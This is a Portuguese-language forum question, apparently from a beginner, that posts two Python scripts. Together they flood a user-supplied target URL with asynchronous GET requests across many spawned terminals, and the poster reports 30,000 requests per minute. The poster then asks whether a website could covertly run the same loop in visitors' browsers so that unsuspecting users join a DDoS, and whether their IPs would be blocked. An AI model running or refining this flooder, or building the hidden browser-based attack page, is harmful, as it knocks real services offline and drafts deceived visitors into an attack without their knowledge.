É possível realizar um ataque de negação de serviço distribuído (DDoS) utilizando múltiplas requisições GET enviadas de forma assíncrona para um determinado URL?
Recentemente eu fiz um código em python que faz exatamente isso. Reliza múltiplas requisições get simultaneas a uma determinada url. consegui fazer 30 mil requisições em 1 minuto.
Basicamente essa parte do código recebe as variaveis de: número de terminais, quantidade de requisições feitas por terminal e url de destino. Depois abre varios terminais e começa a executar a outra parte do código.
import asyncio
import aiohttp
from colorama import init, Fore, Back, Style
import subprocess
import time
init()
if __name__ == '__main__':
url_input = input( "ENTER TARGET URL: ")
num = int(input(" NUMBER OF REQUESTS: "))
num2 = int(input(" NUMBER OF TERMINALS: "))
# path = --
for i in range(0, num2):
subprocess.Popen(['start', 'cmd', '/c', 'python',str(path), 'hello.py', url_input ,str(num) ], shell=True)
#asyncio.run(main(url_input, num))
time.sleep(100000)
E essa parte do código realiza as requisições:
import sys
import asyncio
import aiohttp
from colorama import init, Fore, Back, Style
import subprocess
init()
async def make_request(url_input):
async with aiohttp.ClientSession() as session:
async with session.get(url_input) as response:
content = await response.read()
status = response.status
print(status)
return content
async def main(url, num):
urls = [url] * num
tasks = [asyncio.create_task(make_request(url)) for url in urls]
await asyncio.gather(*tasks)
await asyncio.sleep(1)
if __name__ == '__main__':
url_input = sys.argv[2]
num = sys.argv[3]
num = int(num)
asyncio.run(main(url_input, num))
Seria possível eu hospedar um site que tem no código do frontend a mesma lógica de fazer as requisições em loop? Nesse caso seria possível que diversos usuários realizassem diversas requisições ao mesmo tempo.
A minha dúvida é: Pôr que isso não funcionaria?
Outra coisa, os ips dos usuários que estão acessando o site sem saber que requisições estão sendo feitas teriam seus ips bloqueados pela url de destino?
(Sou iniciante e isso é uma dúvida genuína que tenho.)